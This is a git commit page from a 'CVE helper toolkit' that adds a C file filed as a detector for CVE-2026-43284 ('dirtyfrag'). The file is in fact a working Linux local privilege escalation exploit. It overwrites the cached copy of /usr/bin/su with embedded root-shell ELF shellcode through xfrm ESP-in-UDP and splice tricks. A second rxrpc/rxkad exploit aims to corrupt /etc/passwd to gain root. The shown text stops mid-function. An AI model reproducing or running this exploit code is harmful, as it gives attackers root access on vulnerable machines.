cve-toolkit

CVE helper toolkit
git clone git://git.finwo.net/app/cve-toolkit
Log | Files | Refs | README | LICENSE

commit 5051498bf717244b94f6e7fab53f501fe36c83f4
parent 0e8be13b8e3ac9a57c735b8c90ee5e3b5eb526be
Author: finwo <finwo@pm.me>
Date:   Sat,  9 May 2026 01:43:46 +0200

dirtyfrag has cve number now, renamed

Diffstat:
MMakefile | 2+-
Asrc/detector/cve-2026-43284.c | 2215+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Dsrc/detector/dirtyfrag.c | 2215-------------------------------------------------------------------------------
3 files changed, 2216 insertions(+), 2216 deletions(-)

diff --git a/Makefile b/Makefile @@ -10,7 +10,7 @@ OBJ:=$(SRC:.c=.o) default: $(BIN) -src/detector/dirtyfrag.o: CFLAGS += -Dmain=dirtyfrag_main_hidden +src/detector/cve-2026-43284.o: CFLAGS += -Dmain=cve_2026_43284_main_hidden .c.o: $(CC) $< $(CFLAGS) -c -o $@ diff --git a/src/detector/cve-2026-43284.c b/src/detector/cve-2026-43284.c @@ -0,0 +1,2215 @@ +#define _GNU_SOURCE +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <stdint.h> +#include <unistd.h> +#include <fcntl.h> +#include <errno.h> +#include <sched.h> +#include <sys/syscall.h> +#include <sys/types.h> +#include <sys/socket.h> +#include <sys/stat.h> +#include <sys/uio.h> +#include <sys/ioctl.h> +#include <sys/wait.h> +#include <netinet/in.h> +#include <arpa/inet.h> +#include <net/if.h> +#include <linux/if.h> +#include <linux/netlink.h> +#include <linux/rtnetlink.h> +#include <linux/xfrm.h> + +#include "setup.h" +#ifndef UDP_ENCAP +#define UDP_ENCAP 100 +#endif +#ifndef UDP_ENCAP_ESPINUDP +#define UDP_ENCAP_ESPINUDP 2 +#endif +#ifndef SOL_UDP +#define SOL_UDP 17 +#endif + +#define ENC_PORT 4500 +#define SEQ_VAL 200 +#define REPLAY_SEQ 100 +#define TARGET_PATH "/usr/bin/su" +#define SU_BACKUP_PATH "/tmp/.cve_2026_43284_su_backup" +#define PASSWD_BACKUP_PATH "/tmp/.cve_2026_43284_passwd_backup" +#define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] */ +#define PAYLOAD_LEN 192 /* bytes of shell_elf to write (48 triggers) */ +#define ENTRY_OFFSET 0x78 /* shellcode entry inside the new ELF */ + +/* + * 192-byte minimal x86_64 root-shell ELF. + * _start at 0x400078: + * setgid(0); setuid(0); setgroups(0, NULL); + * execve("/bin/sh", NULL, ["TERM=xterm", NULL]); + * PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X. + * + * Setting TERM in the new shell's env silences the + * "tput: No value for $TERM" / "test: : integer expected" noise + * /etc/bash.bashrc and friends emit when TERM is unset. + * + * Code (from offset 0x78): + * 31 ff xor edi, edi + * 31 f6 xor esi, esi + * 31 c0 xor eax, eax + * b0 6a mov al, 0x6a ; setgid + * 0f 05 syscall + * b0 69 mov al, 0x69 ; setuid + * 0f 05 syscall + * b0 74 mov al, 0x74 ; setgroups + * 0f 05 syscall + * 6a 00 push 0 ; envp[1] = NULL + * 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = "TERM=xterm" + * 50 push rax ; envp[0] + * 48 89 e2 mov rdx, rsp ; rdx = envp + * 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = "/bin/sh" + * 31 f6 xor esi, esi ; rsi = NULL (argv) + * 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve) + * 0f 05 syscall ; execve("/bin/sh",NULL,envp) + * "TERM=xterm\0" (offset 0xa5..0xaf) + * "/bin/sh\0" (offset 0xb0..0xb7) + */ +static const uint8_t shell_elf[PAYLOAD_LEN] = { + 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, + 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, + 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, + 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, + 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, + 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, + 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +}; + +extern int g_su_verbose; +int g_su_verbose = 0; +#define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0) + +static int write_proc(const char *path, const char *buf) +{ + int fd = open(path, O_WRONLY); + if (fd < 0) return -1; + int n = write(fd, buf, strlen(buf)); + close(fd); + return n; +} + +static void setup_userns_netns(void) +{ + uid_t real_uid = getuid(); + gid_t real_gid = getgid(); + if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { + SLOG("unshare: %s", strerror(errno)); + exit(1); + } + write_proc("/proc/self/setgroups", "deny"); + char map[64]; + snprintf(map, sizeof(map), "0 %u 1", real_uid); + if (write_proc("/proc/self/uid_map", map) < 0) { + SLOG("uid_map: %s", strerror(errno)); exit(1); + } + snprintf(map, sizeof(map), "0 %u 1", real_gid); + if (write_proc("/proc/self/gid_map", map) < 0) { + SLOG("gid_map: %s", strerror(errno)); exit(1); + } + int s = socket(AF_INET, SOCK_DGRAM, 0); + if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); } + struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); + strncpy(ifr.ifr_name, "lo", IFNAMSIZ); + if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); } + ifr.ifr_flags |= IFF_UP | IFF_RUNNING; + if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); } + close(s); +} + +static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) +{ + struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); + rta->rta_type = type; + rta->rta_len = RTA_LENGTH(len); + memcpy(RTA_DATA(rta), data, len); + nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); +} + +static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) +{ + int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); + if (sk < 0) return -1; + struct sockaddr_nl nl = { .nl_family = AF_NETLINK }; + if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; } + + char buf[4096] = {0}; + struct nlmsghdr *nlh = (struct nlmsghdr *)buf; + nlh->nlmsg_type = XFRM_MSG_NEWSA; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_seq = 1; + nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info)); + + struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh); + xs->id.daddr.a4 = inet_addr("127.0.0.1"); + xs->id.spi = htonl(spi); + xs->id.proto = IPPROTO_ESP; + xs->saddr.a4 = inet_addr("127.0.0.1"); + xs->family = AF_INET; + xs->mode = XFRM_MODE_TRANSPORT; + xs->replay_window = 0; + xs->reqid = 0x1234; + xs->flags = XFRM_STATE_ESN; + xs->lft.soft_byte_limit = (uint64_t)-1; + xs->lft.hard_byte_limit = (uint64_t)-1; + xs->lft.soft_packet_limit = (uint64_t)-1; + xs->lft.hard_packet_limit = (uint64_t)-1; + xs->sel.family = AF_INET; + xs->sel.prefixlen_d = 32; + xs->sel.prefixlen_s = 32; + xs->sel.daddr.a4 = inet_addr("127.0.0.1"); + xs->sel.saddr.a4 = inet_addr("127.0.0.1"); + + { + char alg_buf[sizeof(struct xfrm_algo_auth) + 32]; + memset(alg_buf, 0, sizeof(alg_buf)); + struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf; + strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1); + aa->alg_key_len = 32 * 8; + aa->alg_trunc_len = 128; + memset(aa->alg_key, 0xAA, 32); + put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf)); + } + { + char alg_buf[sizeof(struct xfrm_algo) + 16]; + memset(alg_buf, 0, sizeof(alg_buf)); + struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf; + strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1); + ea->alg_key_len = 16 * 8; + memset(ea->alg_key, 0xBB, 16); + put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf)); + } + { + struct xfrm_encap_tmpl enc; + memset(&enc, 0, sizeof(enc)); + enc.encap_type = UDP_ENCAP_ESPINUDP; + enc.encap_sport = htons(ENC_PORT); + enc.encap_dport = htons(ENC_PORT); + enc.encap_oa.a4 = 0; + put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc)); + } + { + char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4]; + memset(esn_buf, 0, sizeof(esn_buf)); + struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf; + esn->bmp_len = 1; + esn->oseq = 0; + esn->seq = REPLAY_SEQ; + esn->oseq_hi = 0; + esn->seq_hi = patch_seqhi; + esn->replay_window = 32; + put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf)); + } + + if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { close(sk); return -1; } + char rbuf[4096]; + int n = recv(sk, rbuf, sizeof(rbuf), 0); + if (n < 0) { close(sk); return -1; } + struct nlmsghdr *rh = (struct nlmsghdr *)rbuf; + if (rh->nlmsg_type == NLMSG_ERROR) { + struct nlmsgerr *e = NLMSG_DATA(rh); + if (e->error) { close(sk); return -1; } + } + close(sk); + return 0; +} + +static int do_one_write(const char *path, off_t offset, uint32_t spi) +{ + int sk_recv = socket(AF_INET, SOCK_DGRAM, 0); + if (sk_recv < 0) return -1; + int one = 1; + setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); + struct sockaddr_in sa_d = { + .sin_family = AF_INET, + .sin_port = htons(ENC_PORT), + .sin_addr = { inet_addr("127.0.0.1") }, + }; + if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { + close(sk_recv); return -1; + } + int encap = UDP_ENCAP_ESPINUDP; + if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) { + close(sk_recv); return -1; + } + int sk_send = socket(AF_INET, SOCK_DGRAM, 0); + if (sk_send < 0) { close(sk_recv); return -1; } + if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { + close(sk_send); close(sk_recv); return -1; + } + int file_fd = open(path, O_RDONLY); + if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; } + + int pfd[2]; + if (pipe(pfd) < 0) { close(file_fd); close(sk_send); close(sk_recv); return -1; } + + uint8_t hdr[24]; + *(uint32_t*)(hdr + 0) = htonl(spi); + *(uint32_t*)(hdr + 4) = htonl(SEQ_VAL); + memset(hdr + 8, 0xCC, 16); + + struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) }; + if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) { + close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1; + } + off_t off = offset; + ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE); + if (s != 16) { + close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1; + } + s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE); + /* still proceed regardless of splice rc — kernel may have already + * decrypted the page in the time between splice and recv */ + usleep(150 * 1000); + + close(file_fd); close(pfd[0]); close(pfd[1]); + close(sk_send); close(sk_recv); + return s == 40 ? 0 : -1; +} + +static int verify_byte(const char *path, off_t offset, uint8_t want) +{ + int fd = open(path, O_RDONLY); + if (fd < 0) return -1; + uint8_t got; + if (pread(fd, &got, 1, offset) != 1) { close(fd); return -1; } + close(fd); + return got == want ? 0 : -1; +} + +/* ------------------------------------------------------------------ */ +/* Backup / Revert for /usr/bin/su */ +/* */ +/* A copy of the original su binary is saved before any corruption. */ +/* revert_su() restores it (including drop_caches so the page cache */ +/* is re-read from disk), then removes the backup temp file. */ +/* ------------------------------------------------------------------ */ + +static int backup_su(void) +{ + struct stat st; + if (stat(SU_BACKUP_PATH, &st) == 0) { + SLOG("backup already exists at %s, skipping", SU_BACKUP_PATH); + return 0; + } + int src = open(TARGET_PATH, O_RDONLY); + if (src < 0) { + SLOG("backup_su: open(%s): %s", TARGET_PATH, strerror(errno)); + return -1; + } + int dst = open(SU_BACKUP_PATH, O_WRONLY | O_CREAT | O_EXCL, 0600); + if (dst < 0) { + SLOG("backup_su: open(%s): %s", SU_BACKUP_PATH, strerror(errno)); + close(src); + return -1; + } + char buf[4096]; + ssize_t n; + while ((n = read(src, buf, sizeof(buf))) > 0) { + if (write(dst, buf, n) != n) { + SLOG("backup_su: write failed: %s", strerror(errno)); + close(src); close(dst); + unlink(SU_BACKUP_PATH); + return -1; + } + } + close(src); + close(dst); + if (n < 0) { + SLOG("backup_su: read failed: %s", strerror(errno)); + unlink(SU_BACKUP_PATH); + return -1; + } + SLOG("backed up %s to %s", TARGET_PATH, SU_BACKUP_PATH); + return 0; +} + +static int revert_su(void) +{ + int src = open(SU_BACKUP_PATH, O_RDONLY); + if (src < 0) { + SLOG("revert_su: no backup at %s", SU_BACKUP_PATH); + return -1; + } + int dst = open(TARGET_PATH, O_WRONLY | O_TRUNC); + if (dst < 0) { + SLOG("revert_su: open(%s): %s", TARGET_PATH, strerror(errno)); + close(src); + return -1; + } + char buf[4096]; + ssize_t n; + while ((n = read(src, buf, sizeof(buf))) > 0) { + if (write(dst, buf, n) != n) { + SLOG("revert_su: write failed: %s", strerror(errno)); + close(src); close(dst); + return -1; + } + } + close(src); + close(dst); + if (n < 0) { + SLOG("revert_su: read failed: %s", strerror(errno)); + return -1; + } + /* Sync to disk and drop caches so the restored page cache is read */ + int sfd = open(TARGET_PATH, O_RDONLY); + if (sfd >= 0) { syncfs(sfd); close(sfd); } + write_proc("/proc/sys/vm/drop_caches", "1"); + unlink(SU_BACKUP_PATH); + SLOG("%s reverted from backup, page cache flushed", TARGET_PATH); + return 0; +} + +/* ------------------------------------------------------------------ */ +/* Backup / Revert for /etc/passwd */ +/* */ +/* A copy of the original /etc/passwd is saved before any corruption. */ +/* revert_passwd() restores it (including drop_caches so the page */ +/* cache is re-read from disk), then removes the backup temp file. */ +/* ------------------------------------------------------------------ */ + +#define PASSWD_TARGET_PATH "/etc/passwd" + +static int backup_passwd(void) +{ + struct stat st; + if (stat(PASSWD_BACKUP_PATH, &st) == 0) { + SLOG("passwd backup already exists at %s, skipping", PASSWD_BACKUP_PATH); + return 0; + } + int src = open(PASSWD_TARGET_PATH, O_RDONLY); + if (src < 0) { + SLOG("backup_passwd: open(%s): %s", PASSWD_TARGET_PATH, strerror(errno)); + return -1; + } + int dst = open(PASSWD_BACKUP_PATH, O_WRONLY | O_CREAT | O_EXCL, 0600); + if (dst < 0) { + SLOG("backup_passwd: open(%s): %s", PASSWD_BACKUP_PATH, strerror(errno)); + close(src); + return -1; + } + char buf[4096]; + ssize_t n; + while ((n = read(src, buf, sizeof(buf))) > 0) { + if (write(dst, buf, n) != n) { + SLOG("backup_passwd: write failed: %s", strerror(errno)); + close(src); close(dst); + unlink(PASSWD_BACKUP_PATH); + return -1; + } + } + close(src); + close(dst); + if (n < 0) { + SLOG("backup_passwd: read failed: %s", strerror(errno)); + unlink(PASSWD_BACKUP_PATH); + return -1; + } + SLOG("backed up %s to %s", PASSWD_TARGET_PATH, PASSWD_BACKUP_PATH); + return 0; +} + +static int revert_passwd(void) +{ + int src = open(PASSWD_BACKUP_PATH, O_RDONLY); + if (src < 0) { + SLOG("revert_passwd: no backup at %s", PASSWD_BACKUP_PATH); + return -1; + } + int dst = open(PASSWD_TARGET_PATH, O_WRONLY | O_TRUNC); + if (dst < 0) { + SLOG("revert_passwd: open(%s): %s", PASSWD_TARGET_PATH, strerror(errno)); + close(src); + return -1; + } + char buf[4096]; + ssize_t n; + while ((n = read(src, buf, sizeof(buf))) > 0) { + if (write(dst, buf, n) != n) { + SLOG("revert_passwd: write failed: %s", strerror(errno)); + close(src); close(dst); + return -1; + } + } + close(src); + close(dst); + if (n < 0) { + SLOG("revert_passwd: read failed: %s", strerror(errno)); + return -1; + } + /* Sync to disk and drop caches so the restored page cache is read */ + int sfd = open(PASSWD_TARGET_PATH, O_RDONLY); + if (sfd >= 0) { syncfs(sfd); close(sfd); } + write_proc("/proc/sys/vm/drop_caches", "1"); + unlink(PASSWD_BACKUP_PATH); + SLOG("%s reverted from backup, page cache flushed", PASSWD_TARGET_PATH); + return 0; +} + +static int corrupt_su(void) +{ + setup_userns_netns(); + usleep(100 * 1000); + + /* Install 40 xfrm SAs, one per 4-byte chunk. Each carries the + * desired payload word in its seq_hi field. */ + for (int i = 0; i < PAYLOAD_LEN / 4; i++) { + uint32_t spi = 0xDEADBE10 + i; + uint32_t seqhi = + ((uint32_t)shell_elf[i*4 + 0] << 24) | + ((uint32_t)shell_elf[i*4 + 1] << 16) | + ((uint32_t)shell_elf[i*4 + 2] << 8) | + ((uint32_t)shell_elf[i*4 + 3]); + if (add_xfrm_sa(spi, seqhi) < 0) { + SLOG("add_xfrm_sa #%d failed", i); + return -1; + } + } + SLOG("installed %d xfrm SAs", PAYLOAD_LEN / 4); + + for (int i = 0; i < PAYLOAD_LEN / 4; i++) { + uint32_t spi = 0xDEADBE10 + i; + off_t off = PATCH_OFFSET + i * 4; + if (do_one_write(TARGET_PATH, off, spi) < 0) { + SLOG("do_one_write #%d at off=0x%lx failed", i, (long)off); + return -1; + } + } + SLOG("wrote %d bytes to %s starting at 0x%x", + PAYLOAD_LEN, TARGET_PATH, PATCH_OFFSET); + return 0; +} + +int su_lpe_main(int argc, char **argv) +{ + int revert_mode = 0; + for (int i = 1; i < argc; i++) { + if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose")) + g_su_verbose = 1; + else if (!strcmp(argv[i], "--corrupt-only")) + ; /* compat: this body always corrupts only */ + else if (!strcmp(argv[i], "--revert")) + revert_mode = 1; + } + if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1; + + if (revert_mode) + return revert_su() == 0 ? 0 : 1; + + /* Back up the original su binary before any corruption attempt. */ + backup_su(); + + pid_t cpid = fork(); + if (cpid < 0) return 1; + if (cpid == 0) { + int rc = corrupt_su(); + _exit(rc == 0 ? 0 : 2); + } + int cstatus; + waitpid(cpid, &cstatus, 0); + if (!WIFEXITED(cstatus) || WEXITSTATUS(cstatus) != 0) { + SLOG("corruption stage failed (status=0x%x)", cstatus); + return 1; + } + + /* Sanity check: bytes at the embedded ELF entry (file offset 0x78 + * after our overwrite) should be 0x31 0xff (xor edi, edi — first + * instruction of the new shellcode). */ + if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 || + verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) { + SLOG("post-write verify failed (target unchanged)"); + return 1; + } + SLOG("/usr/bin/su page-cache patched (entry 0x%x = shellcode)", + ENTRY_OFFSET); + return 0; +} +/* + * rxrpc/rxkad LPE — uid=1000 → root + */ + +#define _GNU_SOURCE +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <stdint.h> +#include <stdarg.h> +#include <errno.h> +#include <unistd.h> +#include <fcntl.h> +#include <time.h> +#include <sched.h> +#include <poll.h> +#include <signal.h> +#include <sys/wait.h> +#include <sys/socket.h> +#include <sys/syscall.h> +#include <sys/uio.h> +#include <sys/types.h> +#include <sys/mman.h> +#include <sys/stat.h> +#include <sys/ioctl.h> +#include <netinet/in.h> +#include <arpa/inet.h> +#include <linux/rxrpc.h> +#include <linux/keyctl.h> +#include <linux/if_alg.h> +#include <net/if.h> +#include <termios.h> + +#ifndef AF_RXRPC +#define AF_RXRPC 33 +#endif +#ifndef PF_RXRPC +#define PF_RXRPC AF_RXRPC +#endif +#ifndef SOL_RXRPC +#define SOL_RXRPC 272 +#endif +#ifndef SOL_ALG +#define SOL_ALG 279 +#endif +#ifndef AF_ALG +#define AF_ALG 38 +#endif +#ifndef MSG_SPLICE_PAGES +#define MSG_SPLICE_PAGES 0x8000000 +#endif + +/* ---- rxrpc constants ---- */ +#define RXRPC_PACKET_TYPE_DATA 1 +#define RXRPC_PACKET_TYPE_ACK 2 +#define RXRPC_PACKET_TYPE_ABORT 4 +#define RXRPC_PACKET_TYPE_CHALLENGE 6 +#define RXRPC_PACKET_TYPE_RESPONSE 7 +#define RXRPC_CLIENT_INITIATED 0x01 +#define RXRPC_REQUEST_ACK 0x02 +#define RXRPC_LAST_PACKET 0x04 +#define RXRPC_CHANNELMASK 3 +#define RXRPC_CIDSHIFT 2 + +struct rxrpc_wire_header { + uint32_t epoch; + uint32_t cid; + uint32_t callNumber; + uint32_t seq; + uint32_t serial; + uint8_t type; + uint8_t flags; + uint8_t userStatus; + uint8_t securityIndex; + uint16_t cksum; /* big-endian on wire */ + uint16_t serviceId; +} __attribute__((packed)); + +struct rxkad_challenge { + uint32_t version; + uint32_t nonce; + uint32_t min_level; + uint32_t __padding; +} __attribute__((packed)); + +/* Attacker-chosen 8-byte session key used for the rxkad token. + * Mutable because the LPE brute-force iterates over keys looking for + * one that decrypts the file's UID field to a "0:" prefix. */ +static uint8_t SESSION_KEY[8] = { + 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08 +}; + +#define LOG(fmt, ...) do { if (g_cve_ctx.verbose) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__); } while (0) +#define WARN(fmt, ...) do { if (g_cve_ctx.verbose) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__); } while (0) +#define DBG(fmt, ...) do { if (g_cve_ctx.verbose) fprintf(stderr, "[.] " fmt "\n", ##__VA_ARGS__); } while (0) + +/* =================================================================== */ +/* unshare + map setup */ +/* =================================================================== */ + +static int write_file(const char *path, const char *fmt, ...) +{ + int fd = open(path, O_WRONLY); + if (fd < 0) return -1; + char buf[256]; va_list ap; va_start(ap, fmt); + int n = vsnprintf(buf, sizeof(buf), fmt, ap); va_end(ap); + int r = (int)write(fd, buf, n); close(fd); + return r; +} + +static int do_unshare_userns_netns(void) +{ + uid_t real_uid = getuid(); + gid_t real_gid = getgid(); + if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { + WARN("unshare(NEWUSER|NEWNET): %s", strerror(errno)); + return -1; + } + LOG("unshare(USER|NET) OK, real uid=%u", real_uid); + write_file("/proc/self/setgroups", "deny"); + if (write_file("/proc/self/uid_map", "%u %u 1", real_uid, real_uid) < 0) { + WARN("uid_map: %s", strerror(errno)); return -1; + } + if (write_file("/proc/self/gid_map", "%u %u 1", real_gid, real_gid) < 0) { + WARN("gid_map: %s", strerror(errno)); return -1; + } + LOG("uid/gid identity-mapped %u/%u; gained CAP_NET_RAW within netns", + real_uid, real_gid); + + /* ifup lo */ + int s = socket(AF_INET, SOCK_DGRAM, 0); + if (s >= 0) { + struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); + strcpy(ifr.ifr_name, "lo"); + if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) { + ifr.ifr_flags |= IFF_UP | IFF_RUNNING; + if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) + WARN("SIOCSIFFLAGS lo: %s", strerror(errno)); + else + LOG("lo brought UP in new netns"); + } + close(s); + } + return 0; +} + +/* =================================================================== */ +/* rxrpc key (rxkad v1 token with attacker session key) */ +/* =================================================================== */ + +static long key_add(const char *type, const char *desc, + const void *payload, size_t plen, int ringid) +{ + return syscall(SYS_add_key, type, desc, payload, plen, ringid); +} + +static int build_rxrpc_v1_token(uint8_t *out, size_t maxlen) +{ + uint8_t *p = out; + uint32_t now = (uint32_t)time(NULL); + uint32_t expires = now + 86400; + *(uint32_t *)p = htonl(0); p += 4; /* flags */ + const char *cell = "evil"; + uint32_t clen = strlen(cell); + *(uint32_t *)p = htonl(clen); p += 4; + memcpy(p, cell, clen); + uint32_t pad = (4 - (clen & 3)) & 3; + memset(p + clen, 0, pad); + p += clen + pad; + *(uint32_t *)p = htonl(1); p += 4; /* ntoken */ + uint8_t *toklen_p = p; p += 4; + uint8_t *tokstart = p; + *(uint32_t *)p = htonl(2); p += 4; /* sec_ix = RXKAD */ + *(uint32_t *)p = htonl(0); p += 4; /* vice_id */ + *(uint32_t *)p = htonl(1); p += 4; /* kvno */ + memcpy(p, SESSION_KEY, 8); p += 8; /* session_key K */ + *(uint32_t *)p = htonl(now); p += 4; + *(uint32_t *)p = htonl(expires); p += 4; + *(uint32_t *)p = htonl(1); p += 4; /* primary_flag */ + *(uint32_t *)p = htonl(8); p += 4; /* ticket_len */ + memset(p, 0xCC, 8); p += 8; /* ticket */ + uint32_t toklen = (uint32_t)(p - tokstart); + *(uint32_t *)toklen_p = htonl(toklen); + if ((size_t)(p - out) > maxlen) { errno = E2BIG; return -1; } + return (int)(p - out); +} + +static long add_rxrpc_key(const char *desc) +{ + uint8_t buf[512]; + int n = build_rxrpc_v1_token(buf, sizeof(buf)); + if (n < 0) return -1; + return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING); +} + +/* =================================================================== */ +/* AF_ALG pcbc(fcrypt) helpers */ +/* =================================================================== */ + +static int alg_open_pcbc_fcrypt(const uint8_t key[8]) +{ + int s = socket(AF_ALG, SOCK_SEQPACKET, 0); + if (s < 0) { WARN("socket(AF_ALG): %s", strerror(errno)); return -1; } + struct sockaddr_alg sa = { .salg_family = AF_ALG }; + strcpy((char *)sa.salg_type, "skcipher"); + strcpy((char *)sa.salg_name, "pcbc(fcrypt)"); + if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { + WARN("bind(AF_ALG pcbc(fcrypt)): %s", strerror(errno)); + close(s); return -1; + } + if (setsockopt(s, SOL_ALG, ALG_SET_KEY, key, 8) < 0) { + WARN("ALG_SET_KEY: %s", strerror(errno)); + close(s); return -1; + } + return s; +} + +/* Encrypt-or-decrypt a 1+ block of data with a given IV. */ +static int alg_op(int alg_s, int op, const uint8_t iv[8], + const void *in, size_t inlen, void *out) +{ + int op_fd = accept(alg_s, NULL, NULL); + if (op_fd < 0) { WARN("accept(AF_ALG): %s", strerror(errno)); return -1; } + + char cbuf[CMSG_SPACE(sizeof(int)) + + CMSG_SPACE(sizeof(struct af_alg_iv) + 8)] = {0}; + struct msghdr msg = {0}; + msg.msg_control = cbuf; + msg.msg_controllen = sizeof(cbuf); + + struct cmsghdr *c = CMSG_FIRSTHDR(&msg); + c->cmsg_level = SOL_ALG; + c->cmsg_type = ALG_SET_OP; + c->cmsg_len = CMSG_LEN(sizeof(int)); + *(int *)CMSG_DATA(c) = op; + + c = CMSG_NXTHDR(&msg, c); + c->cmsg_level = SOL_ALG; + c->cmsg_type = ALG_SET_IV; + c->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + 8); + struct af_alg_iv *aiv = (struct af_alg_iv *)CMSG_DATA(c); + aiv->ivlen = 8; + memcpy(aiv->iv, iv, 8); + + struct iovec iov = { .iov_base = (void *)in, .iov_len = inlen }; + msg.msg_iov = &iov; msg.msg_iovlen = 1; + + if (sendmsg(op_fd, &msg, 0) < 0) { + WARN("AF_ALG sendmsg: %s", strerror(errno)); + close(op_fd); return -1; + } + ssize_t n = read(op_fd, out, inlen); + close(op_fd); + if (n != (ssize_t)inlen) { + WARN("AF_ALG read got %zd want %zu: %s", + n, inlen, strerror(errno)); + return -1; + } + return 0; +} + +/* Compute conn->rxkad.csum_iv (ref: rxkad_prime_packet_security): + * tmpbuf[0..3] = htonl(epoch, cid, 0, security_ix) (16 B) + * PCBC-encrypt(tmpbuf, IV=session_key) → out[16] + * csum_iv = out[8..15] (last 8 B = "tmpbuf[2..3]" after encryption) + */ +static int compute_csum_iv(uint32_t epoch, uint32_t cid, uint32_t sec_ix, + const uint8_t key[8], uint8_t csum_iv[8]) +{ + int s = alg_open_pcbc_fcrypt(key); + if (s < 0) return -1; + uint32_t in[4] = { htonl(epoch), htonl(cid), 0, htonl(sec_ix) }; + uint8_t out[16]; + int rc = alg_op(s, ALG_OP_ENCRYPT, 